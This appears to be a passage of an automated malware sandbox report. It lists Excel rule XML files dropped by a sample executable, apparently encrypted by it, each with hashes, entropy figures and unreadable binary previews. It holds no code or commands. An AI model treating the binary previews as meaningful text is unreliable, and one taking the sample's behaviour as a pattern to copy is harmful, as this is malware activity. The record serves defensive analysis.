..o..9.T..>c...%.....h...Y7qpX..G.z8.\H........"WQ.,c@i......ui..Q..!.h....).[...'V.R)..z.9H.."3.....z:..Rx5c...\|..Y!7.j)..+..8.g(.K.+Q1n..p.H.N.....h..n.=.'..y..&...4.[......;.Z.m..@.......F.XE...t....+.).}r.....,.r_..I.D..l./....6...o3GC.o!#...`..3k..k.>..8.......;..PG.>.n..........?.O?."..S..B..(5...V..;.k.....e............P.RG...a.Z..FD..1..~.Q.8..j.u.S..;...f....e..1FE..3...C3.....g...D.2b..~........\|t.r....Jy...jw.4Z...E....%..f..co..&.UVYJ;.n...5.n97k@........%..LF..:..X`Jh.._!pE.-.c.O..x.Y.QE\|..,....Dw.wZ.....2........f.C4..\|..nW..3J.\|.YH....~..J.-.g.#OHzF.z$O$....8..&..Y.;$.@.@.i...~...z..F...O..b......,.M........_Y.....3..l.Yp./.....I...A..r.#.J}BZe...a.;...S,.-`Sy....z+.QTc...2.].......G.7.n....1.=.DM.9........C.....\&X..d.Z..n...H.G~S.]..X.)!..B.3X.R...".B.?...?..p./..Q.......r7.#.D.yp..H...o/..'Z_.._..U8&...^egR`>X.E.0RN.[..........`{a.=....k.......?.h.M.c...r4..I...-...1....`.V..w..F~.H.^.&\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.977364033722263
Encrypted:	false
SSDEEP:	192:wbRoqdDLy9M65wYr4+JgutWbFICvMZpWMv+sUxPwWt:UVd/yS6SxJxvMZpWBsOLt
MD5:	F0D8BE20329DCBBBAD5B09A88457A340
SHA1:	82982EF90908F8EDCE0188CAA56F2CDEFEA7A088
SHA-256:	6A400BAEDFA4ED0C8F1048FC6A8A16C90D80F1FEABE539062352D1ABFB6402DD
SHA-512:	0D7FEA2350AD79337E7222B8D2409CB7C164E4DB269E8D5CD4763756FDCF4141617EFF6CE1E4E3203DECEAC247A4015BF2A579DF9C4DEC1F81BFF90F5EC07EAD
Malicious:	false
Preview:	<?xml....E.....y...P....m.9.G&..$p.....%...>.{.>...g .!.^....Q5.,.p.o!.M..u...g5.'...A...R(}.F.v.....jZwm..~.;..]..1.#V.:.iI7#\|.'...>>..F..'..E...r..n.3a.Dw..-..9....cpb..$CC...Z....y.......H...x..#_...H.u..]cU..r90.Q.~.,.S.W.uv'..]..b.[V.u.D.h.`\r.8...{.P.!.v.........Z..n:.-....q.y..!g..Y....F...0<^C......I.......L.35Gk..;..\|..;.Zn.!Wq..R..\|q.K.Kv~9;A.....K.Hn....\|I2!.$(_.1...4.H.L.tx3(.gr....>)~q...\.+.[.F.h..h..ctQ.....oT...5..".U.z..8.......G.)%..){...C.......@.'.!.[.5.af..g...T...n..2...j.;...w...hC[..7oF.5..9.\7.;......B...C.K.mYHaT...."z&M7M0...p........Z.....f..l.....e.1...o@...X..~5.r..F.;..d$.ev......X3D67....h..a+...T=(A..7!t.)...8N.(s...;......S.xF.....6%.].k. [....J....r..C.]...F.{....a.....'*...../..3.._>...^............u...........h"I"@.c..:c..x?.o&d.><.......g..\|..:(.....z.v9..D..B..R......U..GI....y.@.H.T.~$.....n...m..2..du....O.C......j.....>.........t.ouO..c-r~.5b..L.......T......\.\D..jt...E..b.6.RQE..=..s..ur..[.d.f3...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.809127767350777
Encrypted:	false
SSDEEP:	12:LWVqtSMVCWwbOfY8cQh0it4mrZXpBGDoGJENY0ZyT8en166TRqHmRCgmLj8H1+cq:gqcMzjR0iPXPMrkY084ERlPRCgmLYUbD
MD5:	C23CC1A6CF96CB99FB1310F3E5AA9FD6
SHA1:	5457D436C0AAC5F8E2A7A7B4C4A047404BDCCEC7
SHA-256:	68C9D21E98CBF526DF9513691EDA33360034A51B7C53AF8AD9688B60D70E3BDF
SHA-512:	D9545C63E13936EEA3CD556A6B7187E1D07D57AE5DAB85CDBA8826522ECBB7D6C5D76F1E9EF75E590FCCF5545789B97E618057F88B6BC2E7C93B03C82E095D51
Malicious:	false
Preview:	<?xml.........e..%...U5.oY..3Q......+.L{..m6s....2..E.....<..3..t......ej..tW..;.Z..C..`O.,7.QZ..a.UJ.7.N#... .r* .....zt....E......!.x...tO......w..F?...B...AT.ln8.i@M......].^C.tS...K..1.6A.I..T..?.....H.9..#>.7X..8...f..p.b..~.....4...#.....m..tR.#,l..d!..q.^.!p>.......v L....."..@."...S..F]....g.t...1.-u....&H..t.?..bf....F.{Q_...y.......Z...A...5..]..]N.B.y....&......]D&1.S,.`<.....+v.>D#.C......gY...../.O...E..Y..ia.....A....3......z..ih.i.....A.E.G..'...=....\|..>\w..q..M.E......4Ei.{.M...2..&..33t..'}mt.s.K....T.$...oX...w.....=~..lw.F.$._.h.g...EO.....NYI+2:.h.....d......[.[dy.n".Rp............S0..D6Z..N.....p!.z.@.J.h.T......I..@.jF...G...m?L.........z.lN...\{<J.E..;...m...%...Z.I.....8.X.....tbZ.za...1..{She.....Jc....>k..6......=iJ.e5[...d..p.....i......<......m....v...cwace..Xl.5.%T.#.9.\|..i.-gQx....U......:.9[{..(..u.F.5...+.)..L....=e<..m....."_....K..[.....uN....Z.R.....fd...Z...\|)M..H.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.819471831985197
Encrypted:	false
SSDEEP:	24:gDmjV01v9CUYSDzC3erAXaPyltQSrsH6jHbD:etYSPC3sAKPOiH6j7D
MD5:	73FA69DCEF55E3D4CE90FF1D5AE094CC
SHA1:	7861FB8A36A545E167E915BE1CB96F6413448C87
SHA-256:	8794A8D696222A5FB18218CCEDCE478A22DAD423A07953D6A6A025170458BA1B
SHA-512:	9120B0C6A09D14887A1FFDCD06A73AA036B6A10BDA8EBD6BCF7E36318F3D08EA29B8F5BB1FFED0A2A1C4065F6ECE517D52EC237A300903C19D450942E771E588
Malicious:	false
Preview:	<?xml.?Gc[.....u..^..`]..PY.?.h..M8\Q....#....Sn.....nf.{.U......B..-....$..0.g1."..J.j!R..........@1.bx...E.WG.....IJ.%Z.`'\|.S...A.c..s<%.X...g}P....bz..)f..b.....OU.._...Aa....z.r..$.......E...D.r.. 'W7...N..Q..Z)t.sqc..E....9............d6..W-.oW...@..&.~\|..T..@kI....KF...{..y....V.s....[M'a..:.Y..bu .u...n...xr...{...[..jC......'.8GW.u&..-.V..h.......(.\|v....N.5;.....lF....Y9..J.y.....8.+F....(..r...a.p#....;.y.&....%.&(!.9}.xxb.....Y3...h...[,.....ZU.........f$0Y~xc..d,Hu.gJ..A.E..vB.5...RS.[A-.F..%...]..-..-.....GTGS...8h?..= .r...~.!....<..T.....Ij..s...P%.m3Gu..a..A...E......%....#...w24 .....=..m=.^..Q.....<.\.U...n._e.h27...Ak.f2G.......V.o.. .6...F=.A.".yA.5F@.l....c..3#.....\.8T......:..V~$a....<.h.V.~V..D..c............?&..w...g=.X....>......\|l......r,k.-.@T/.]...$.`ER.d.&...u...Y.H)u.":..Yq...b..LT...D...'..'.q{d..'.]/.u...o...`.I.W..z.....Jln>..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.936482340387411
Encrypted:	false
SSDEEP:	48:7MGHAfk/LXXwRqZJyzPR4AzBUlOF0HD3nu9PFgV7llmYipkRspkUHD:vAk/LXA8UVFUnu9PFgVhvi+GpT
MD5:	98D515E483C287CB5F877441C6048A62
SHA1:	7C0C073BC9625260FB3A3A4818FA76A1A02BBBEA
SHA-256:	827EFBB330713069FA90402D9CA827935B005FA30FF763FA4806562A0DA8AE09
SHA-512:	536ED3C12815FFEFC7EAE0790315643998D4797EA5834444439BF9EC396DDFF036BF5C63C22739DB964BC8D2A78473EBD2F8A81F2D8CC102C7C5D9FD1E890E85
Malicious:	false
Preview:	<?xmle..d}..;1.)..f...JI....m.7t..u.\B.._o....J...e.T%.w....c..;..L.....w...k....+&.@b....\..?pFQ.u..p.....a..B...<!...6.?..ql.ep.kA_.y...\|...9..+.#.k....N.\....rL#.Q)...@....I.`T..Ohu8m ..Z..t.hR_.js.V8..9..K..N.c.h...[q......Y...+.7'...X......"..."9....zZW..w.s.....j..2j..P...S\_.}:.Z.]e..A.CGWP;.......C.FD.^.R..M..X+\....Ov]^....O..%2b. ..J.D.....M..p.k.a...D....L...>.!D..@. ..K..}B...o\.].".m(R._/...2.g.d...~%L2"....he.....?.......}.8.U.?.j....$.yf..u..../$..!..`.f.D...,.%......D.f .IB..G..r...R..V..j?x.s..+?....!..!oP7@;........~5...;T.J.......6.KG(.......MQ6..W...YN.v...\i[.}...or.=.a.t..._..."[...L......v.o`x.J.t#.....C-..=......PE+G.B.E<z..4$..z3].p#.D.Z~gIo.................^...^...v...].......N..7.U.......i.e..v..H...Or....UEW.d.%w.c..q...x.d.n...\|..%.......c..d.....i.I...T....V..Z.Wg.a...n...?1.Y6..-....<.>{bS4.............4.m.$._.:,Zy.i....c.s..!.....w.4..Ff8..<VS.r.....&lr....-.0.......Tuv..)...=)9....W.w.<.mX........)'..?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.917064401681947
Encrypted:	false
SSDEEP:	48:wgpZbIsFMxk95NyW0rFvV4tG8XMPAFWA1ZRHsDxatY9qBNn63yJt2zUBrGMsD:wI17FCk9dmj4tG8cPAF5JHhdBtcyJs+U
MD5:	D30F2D695D57437242808CA3295573F1
SHA1:	4C4CB75CA081AAC84D0F09FA05F7E4D2FD7DF677
SHA-256:	14AE9E2738950515BD95DFDB0FED51D73B72D1081BCA45400BD4E7ABEC4697C1
SHA-512:	81CD50E7D111E4E9FD70A80C6FEEAB32D31FC0C15411C4A34FA27FFE434536F8325C3A02C795E238FA37CDA37C030E6DC3FF9968842A5D1270A5D1793818F0B9
Malicious:	false
Preview:	<?xml....n#).}....o..ti..9..6(.....;k..L"...F...7.ap.QiQ..T...[v.....1.{..~3.Z...R}...../...6.I.l1...i..v.}.@...:@.l...._{{e...Ors...^dx..W............\|.....Y.i......N{F$@..a....!u-v...........F).2g..&.ia...../.{.!8..&....;.==......]g..<z.qu...~..Gp.@.N......f.r.m^?...........t..t.H....i...e.#01af<.z6.........l.2..;..?..../.Pb.2[..:.7...Q......wXz......~.3..v....#..4......I.....}% bB....o#.]....^s.'..........\3....5.R.Z...e...:.....[.K....X.".Z.O.r...J....\|..R...T...w?...;/......h.&....."!....BI9..pR.VuF..e.EQ'..."..TH.Y0.:...xg.<...XY...{I..8..-.Z.s.I..g.b.........Z=..tZK/...M...G."...D{..i.p.;w..x.._.....r...}..;'..U....4....f<Ct...jCC...#..2..] .m.9nJ.{p.._.z.Ypn.......Yr..D.....+..;".3R.N..d{%.<...M`A.&...)s...Fr..xu.0Z.....w..8.d./=.0../..!...Y...[$I[...2j.1u..{l.x.W...$jA..........#.Z.^....*.]_..~L.z...h%...i.9.Xq...&n...9.og.#H_c>..@.U.wD}.M\O...^U..18.%.T.....u%............~..y.Y`.P.Nb.........-A..X./b.........u...E+./...^t..F3+..Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.927989201483798
Encrypted:	false
SSDEEP:	48:p1XkZ8VxJHBfIFBW0pOOmHQim95+W72KZTSZ3cmWZZxmJj0AEFhz4LmNa92LD:ptSeXBABFwHQAWaM03cmhj0AAN4LGAK
MD5:	99F3FAEDF685077DFBEC1432EB9B951A
SHA1:	79B67D06D046527A4ADED844CBA9F9E5B439343C
SHA-256:	0BC426AB7098D5FB89AF51D993081381DC7B47F2194E2233D6AA5E0175FCE671
SHA-512:	7206FFFAA816ABAA5D03B4ACB3FB5531113EC621F607AF211347B5412B08D0A837F87614F256456772B7F58581332139A97807AA837782A4520A8E18683A50EF
Malicious:	false
Preview:	<?xmli..=..I.~I.#[..a$%.JB..........v..P....0<'..LX.....o...7u.....F...{..B>..b=_".j...~-!Y.Z.....V4 .[#.P...gI.r<.^......N..0.I....$.Y..!.!..e.gFYT....+.a>.........4cr..%..~..P$fu...A.v.._..}..mGG....9k..R.u..-...q..F...[..M....e.....iF..r.)...._.A..._/..7.H..9...M....uw....x.^B..BQ..v........V7P<?......p..q^...h.u.....Y.&. BV.a.L.......Jb.hB3..u..+..(..Np>G...... .<h.....q.w....C.Y.\|....^..M...4....u...{..}B......Hl..5....0...3.!.G.....t.b..@...+Q.d]...\|Tb...B..t..........Q.....tT..&.q.....]#..I....?...~b.?..=....'......+HBr..y......&..)fo.f...#..66:.....6..9..E.....s...Pd.Z.?..m.]u!.h.(......#....~..k........6r......L[[6......v=.X......&...Y.A..obl..,..."".Q,..[ t.\2...w.....C......D..;.....0.F.o.L6....c$...6..........b..FHe...fw..5..x`m../.O.........d.J.ME........j+.qb...7.I_...u>)......t...N_.k.b.....k..........D..j.......y..9.......48#...D.r...9.9.......D]@L.?h%.B..J.).#...{.T../^.K.5daH.F.)......'.(.@.&..n`.B....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.729849894278669
Encrypted:	false
SSDEEP:	24:QYAqxU1ouZRmD+GfL1mCebjxd3+ampplqbD:QTqAoXD+GfYCeR9d8plID
MD5:	87DB14E7431F4165D3A36FEBD0AF7082
SHA1:	8C98C226F76DC8720672A8067857BBCB5E421145
SHA-256:	BCCE26DD1FBA1D712B08CB3FFA82552494D177C475CE32D74DAB99BBED12CCEF
SHA-512:	F0D22EB8A4CEA2DB46EDADC60CEA34CEAC479FF5A3AFC53D867B625EAACDD8B5231501D5957314DEB7CECFA7D64CD2EAC972B54BBC55E8CE596289DD009FD9E4
Malicious:	false
Preview:	<?xml.n.O.,.2..M:...H.A.b.#.l......\|.o.....z.47=..FC..:.r...T.V..k.._...a./k./^.5.....m_....w.4(..`.H...@.U1Y..i..f.Y>...!..L......W..!.t..a...Y....yrj.<......F......uE.q..zlhm......C......Q..(q..j.!....a.V.OQ.."'.pa.......5..<9...._./..V.^..}.PQq..D....q...A..z.e.{c...22zM...>"..........(...v.y..p......lz!w..l...Q...5..\0..!+L.eY...Vp..E.'o0.W...d.(.Y ..M.,.lo.....`w.m..ne....Q.....i...t.u].m"R!...i .X?..}...%:..v.rYZ@...W.......h....-..m.=....u..i..u.z.#..{.8.W....a...~..m.q..G*....S..Ru..3(..............k...`{C.K.t...9....__.....e<#.l....l...w..8...y...%\|.h8P]...t....9r.rpZ5}..^k.....y5..vr\|\|.J.,e.jZ%0...9/_P..,...R..B.T....G#..Y......CKepQ.....`.>..D...;.F.J.....UA@r.......o.g9.....r.9..4d..5.`&s).h#.p.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.767287384590538
Encrypted:	false
SSDEEP:	24:9V9iArxhqldqNZ/Z47tuxBeRZTrkVPry71Y7hjmqAbD:9LiAr2dqNZ/Z4Rgs/ePS1Y7cqaD
MD5:	0D154BE23069D492819053A9C8F0AE55
SHA1:	2561B540B5D0EB2C36C57FBF37844767C7DDD7E5
SHA-256:	3712BAECEE8D6E54B66A8D117DA6715412B23D1C00074D88C1AD7A1EF94F7B23
SHA-512:	316A4A1B3ED67B30E7F2D4171D4907E0357A6976DB147E1D1E2004988A1EBB0C7ABD1AB6A17C1611EE9808EAE004FA15AF279C1AC63F25B1E4CF815B87A01A29
Malicious:	false
Preview:	<?xml.H.".....i...{9..P..7d!...Y.>w....,_.L-.~......c.:..~..t}zJ.,..m.......R.....os..2.Em$.v9....Q.t.C...;.P..2I...ob>.}...av.."...8R..&R../.1.>.0....!+...Drt.s.S_....j...IQ...m..ew.....D.(>......\QUC..h.z....E...=J....).......a@.Q...S.5t.. A.....i.<D.A.iH=...#.........j..b.M......T..Z.D.U.2....HO...h.np=M.,.L.......z3.1..E.Z....1......+q.....h_4..(...).1o o.m8...V....a......X4..&..7.n..g..h.@gQF..\.ES`...us.`..nB.wDF..O...D.Z:}W.+8..<..;...?.....t./...D4...t..:..}jW....dr!O.O!....6...]uX....v..(JG.ag0...8...k...#..n...R.....E...?.S(~..5....-.=.nx....VJ.(....;$...SJ ...Ze\|.c... ..U{H.K.b..4>=m3....Q.h.....s.".&.M.......<=....Oi..3...k....i....~>..e.Q..0..W....>..N....\|...q.....0..4.H.....'..>....-.!J+a....L.p..q.zT.u.."..@..g..\|.w;......xV`.g...,5#.b"=....f.y.8.J\..DS.....\|....xy....Oo.K...W..;\|...=D.G..G.#e....[..n5n..DO@a.8k{.....O....Y.Z~F{L..d1[.`..aY]..F..j;.V.~_SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.860607302193826
Encrypted:	false
SSDEEP:	24:Ix9dC+5/FSDX/DwwneWTMKoU70+G2sVds8MYkFTOyxlAMX3GrPPvP80SAJiV15Om:W98aMXbBneWog7CVH9y3XbX2rn1S6YOm
MD5:	727E9BD30A9E0FD960740049D4C70E30
SHA1:	4925A95C957D75F439A2DA6F04080F95B0F06358
SHA-256:	2CB2D53C39E1BC7EA0741A59F08FA4EC547BDDA64F2A572884D75D741A8E91A1
SHA-512:	AAB63AE42F6CC39FD7893EB8E98A25CDB7D7FE824950B4982BFC3FB0E4ED5E006449A2A2AA0B0E9217739296867F41BB4E9799BC9A24A5D53662CAF877F26490
Malicious:	false
Preview:	<?xml5$}P..iT_[...#RV.f..x.......'..M...v.....#.?.N..;.K....6l.Eh]../.[.h'...T&cK5S..E...Y.....UZa[.:..+.h.I~......!..!.X#E;.m.!...E.E.y.0..R].y.?..k...A{./...q.....w..I..U.]...2.jbOj^.U.e?..8.<...b..[.FX.jd..M..+.P...ya..R.....J.?A.......,.V..ZkjWs.e....YE..w."....e...:?cs.)....Dw=..A..>...lz2R.{.tfk.I...M.....m.~.......y..+"/2....`q...:...7'.U.....n...?....)>...N.dm..z..........A,\|..)..+.!.eX.t.3.......i>I.r5....bA.u..9<.t...X.....7.+.yh..y}xO8f\W.!...=!....>.7....-...z.S...0._$x...4...R.H.uX86..4....V.....!JT.%."...(.....,...........oO..f..'O.oUa......?.1m.u.=.l}A..x.!.r(...7fU....K4&.....FK......cRzpA.Sj....Z..g9..&.g...w.S....J5..."#g...V.P.Qk....cW.w...H...s....Nv:.Q.\....9I.'<.l5y.$........g...G..O.]...EBr.0...W\|.....i.._ob.....9....)....3....8........'...nH.A...}t.A....Kg..4..XI..\.....=a..N3<.%..2..!}V.....<.[.b8,.]...L..C.W.....W......&.0....V.v..^............8(....uh\....f1..#.4...h..;,E.I.N'.\|<.J.>.N.j.....,......f..=.8 .!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.8765074896175875
Encrypted:	false
SSDEEP:	48:JiVpXG720bYkz5ft+87Hw1tFwhzTBS/4etexD:Ji/27D7dQ87YuBBSZtY
MD5:	C41ED9860D0BA0B28DFB16F683C5E8FA
SHA1:	548ABDD0C4477375271B4CC83AA1B80CFF5D5CBA
SHA-256:	DC68ADA6BD14AEC664381F4B473A0C0F97457926A7B0F41FA53CA82C449C4AC9
SHA-512:	5E1D7E54DD4CC26842A88757E0731BC5E101E8DCAE504C2CC3AC79D227C9F5736D7000C062B1895F6AA00896A3F551B2510228CC190A31F3FEE35DD66BDD0673
Malicious:	false
Preview:	<?xmlC....8.....$b...qF$..l.%#...Y..z.+>3..).DF.9......E.9c._..c...e.-Y....A%.(.~.%..8$y..D<<..J.6....\$..f./a..n....Y..W..Q..A....w..;........J.FZ2..f....=.X.tH..r9]..)...a.w.WY....P.....{.?.C>m\..4q.....b..%.l.s..b.O._a..m..Lk.0.Qv;.5$fj.g......Y....\|i4..'....3!)..Y.......K-Zn..bFC.&A.....o.wK,.]/j.s.B..%~q-..o.]..d..l.py...;]......<.^.U...s..9AN.NA....Z.;.........SGf....W..B.5?-...... S........H.zZ;.5 ....g......~.....?.......Zr...j.....'.1(...x..c.....z.I......Z.R.....u.%.P.Ep.D....>S.V...(..$..."..?q.jX....TT."../....1..h.wL..&.<.V..g..`6.mS.j.m.p;..R....i...%.k.j.]^..h..ia.p..@Ra..P5.CK...8.B{.....Ub....v.%........Q....X.....V\..g...R..'_"1......'\|U.G..qg........"'.v.&g..1?4.....l^L.Q....C.....gQ........J.....e.6.A.Yj......'~$...T.mc....J./....fEL4..{......>a..t`....w3.s...H.5....8!])C......e......%.C...P..Ed.....1.V.].n....8...G....P!....A=..;M..:![.4%v.j..#.(H.d=B%..j..7. ..t"..4.uy5ID.`..6.5 a'.8...q].U4..q...Q..h...7%Q={.%. ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.92489716603456
Encrypted:	false
SSDEEP:	48:hbAkdapb5DePul+BSMmOyM0k1oRrbMMlf3knTO41gNI/ClaoEpQysAmhnB20D:ddabDePul+PSk4Mek6P1spqP
MD5:	D124170CE774DF72F4323B93AF2E9843
SHA1:	95F93E60BEDFAF72DDCA5FA1A575E2A6CC49C626
SHA-256:	578F609FFC05E9BDC4BF67C534DC69CF60A16BE969FFFCD67076AA5ED66F1169
SHA-512:	D3478DA912BC8AC3CA2FFAF943A6727C4BEC3EAC42CC5F222BBEFCC8BAD719AC015F5E19704176FC67AF0D44F324264199A3B0641D603DF9F604D1A0456385BF
Malicious:	false
Preview:	<?xmlB..>..]wU.}...v>~.V..&..GY.j.p..&w....U..A.........9..;.`.PF$.}.}.[.M.2...c.p.~.H........DvF...r .t..UY.!..5.Z.c...:..4F...X..<mW..'.....c?.:..1......yl4..H......9.)..5u.S.\T".$v.:.(..^L..1q..ZY....Y.`.iv.....N..R..l...r.A?w...\|C...~C%U.K.."x.......,."y........8!.va..-..R..YGF.^.<$..H..4.:.(._A...g..ZMx.,..`...[F.......ty..Cl..p..7y.......+LZX.....p.....p.........,...G.......J.b17V..P._s?...e.k.....G..%+.......kC."7....S._.o.\|].m..Z..j.~.U.k.N..9{....J\.a.xi[.[.fqU(`.R..P7Z."..k.o....s.[.n.I.........b.B..d.......g..,P..;..Q...!S}#..M....DY.beZ..+,.....2z..z.H...<..W.....t.~.<6(G.O.o..\.}d.c0.v[j.......#.x....Y.....i..S.5......8.#.CY.FKd..`-..\|.......zD..._f.LD.....+..GM....o.u....0..F..{I...............K3}...).....TL..(..>......]c.H.>....f.../RZ...+6...'..5."....,9..^..dX.!.'.qi.W.m..Y{...d&.#...."..,....s.v .#.*H.ft.[.D...J8..!&F.~...t....Q....By:.2...Z.c..-..x..F..J...yG..'2.....^.....WX&..-w.U..+..f...%$S..9@.uL..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.876650049020288
Encrypted:	false
SSDEEP:	48:RrWHq0v9gPsfTrLWj4wbAgwKJ0wHO0Lv3JPStRY0gD:RrWHq0vtTujjAgBJ5OivZ6RYH
MD5:	DFA10349DAE0D476100C39CD23BB89A1
SHA1:	79FBA7BDD4761E11D74BCBAAF75113F3B05AB6FD
SHA-256:	4283E280048A0B969C44F38E6D48228944FC70BFB29E38E3915F89BA29CAAE7D
SHA-512:	16ACDE5546BD47B8228D895636BDC97F8A6B2D52953390959B185988B3A12E869F70476F480DAFBB0DAF2E0FFBD036DFB377F08F331F89BBC8B5A1ACC7754E42
Malicious:	false
Preview:	<?xml?.dt6..L..k.kT/..s...O....)...cq..b..V.n...t.&..,.....v\|).;H@5.w.eUI..y....Hlg.T.v5.....9.u5i.f..........o....c-^.:....-......B...)#5Nw.L..{...(m..N..K....v..[0.\. J~B.V.:......D....{.k........\|1.[.)q....a.;!.X..@....,.A?w#....q..w.......D(.&."....&....8.h...........9....[....X`.l.f...3.oK<D..WZz3 .r.4V.x.u....e..Z..>B.>l.l.b..?..Ou.w..F.C..L.!.?q.F(....5jCy.'...X.._c.D.l<.tW.-.x1.L4..B...7}..9)S...9..-5!9"....d.(..k....\|........v..Q.........d....g0..~ue...LL.lb..=4../#..K"...N.0.6...[0..@...=..<t.u.$.g..:[n..Jt..........I.H.@@.H^..;z....r%B"v.#N./.......!9a......e._..?U.D^...#.a.[.h,.^'.B........@v.............>..Ty.T.......@./Q8..=v.q"Kx.=..:....S..}.R....F.G....y!W..mc.6.fE..<v\|....l.....F..9..~...,.Zg{A.Gu..[.xL.m9.lK........'...{)iG/S....k.^....u.V.6.....d.{..8.....\..q...J%__.h......5.9.=......yN.T.b..%..\...w.3..G..Y...#e.C.Sq ............`Md....^.C..j.\B..E~}.d.5.J.m.gs.,..*..z)F..`.z........e..YH...@.s......1.......f...(.-....2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.915967433519941
Encrypted:	false
SSDEEP:	48:89LiY9kS0xDL98gycP9wftg2U31jdhuQyDAR2zEMFdD:89L9OJR8gHP9w1gD31ZhuQyD0GEKl
MD5:	5FE6D48B2313C618C6F7B8116C003E17
SHA1:	BF5A7450FC5FB263447FB39FA1C46D6FE98E0727
SHA-256:	D4F28DD33766B6841756DF9572605CEF9BC8C39BF10868564218A8BB8F488AF6
SHA-512:	6A79C84A1C7D9D4E7923D24ECFB1036B08BA2B46115F536BF9518375ECED1A50FE943944A69BEB52D0B720DB402567D7342329824D87A76407882F12D54188B6
Malicious:	false
Preview:	<?xml1.."kO...Z.Y.%....v;.$....69fnJ..oi%.._.{?..ic...rD.......B......K7..e....S.U.6.:v.7.1......\..../..F.i.CR-......i..k....9.{.e.D......[..j...gw:B...7..;gx.Q$r.DcY.X;...:..c............fPV...Q......;....T. .a...lO.U....5.n....).....(~..eY..yQN.......y...oR..v(..[.....;...n.j..{..CZW...@,F.P.M..B&.3..7RT. "SR.6RJ.35....I...<.(%d..NB.Y,....:......./)\|g4.B.t.4bAV...n..QTz;.O.. Xa.<....<....,.v.1.....P.....t).='...gh...\E..K.EK"..J\SC..9o..F....t...G7...Y....z...d2.u.>...I}.......f ..c.ac..V.H..6\..ps.K.w.Vy.i...S. .e...H.1.\|h?c.....1.(.;`...v..!c..V}.~c....]....b.r...h..b..k.b...R.....ReL.=,.....r..i...w..........{.4i..r.n..2.........!.v...3M...C\|.g...Y.@..<..S...%.......Lk)...{4......#......).....t.$..m.R00.......i."..H.=.w.I".N.].7fb...$a.d.L.C0....d$.xD....m~...D...%...3..q.......Z.\|p......e;......%...7\M!.....</..4....le}j.%...0.e5@\|.k...........^B.&.q...bx.!.S...+...L.]...e)aA.A..:.....Sv.y.;5.....fz....$k....X3..V.AT"8..Y..{/.y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.9105907891713505
Encrypted:	false
SSDEEP:	48:dGOQ+7pIio+0CaD8I182UOF9vOVLo6l0iLZvUf79ID:SnCaD8WNUOrmVLoq0ipUy
MD5:	861B9A9CE02D492AB63B8C95E9ECC8BE
SHA1:	F181BCAB6FC10CF72850D3AF7B1DF687FAFAE1B4
SHA-256:	A699F1D3666DE4B38ABE70D00A4F25A28C670827337138A5DE859F72D5EDFE97
SHA-512:	B178059B3C595CA8421616D4CBE9B672F2803201A8EFA102C52C8E2F216AC045ACE146F19B28337DAD85FB8FD88FDB2D43EE1B70294292C276706D0F8CB4EF30
Malicious:	false
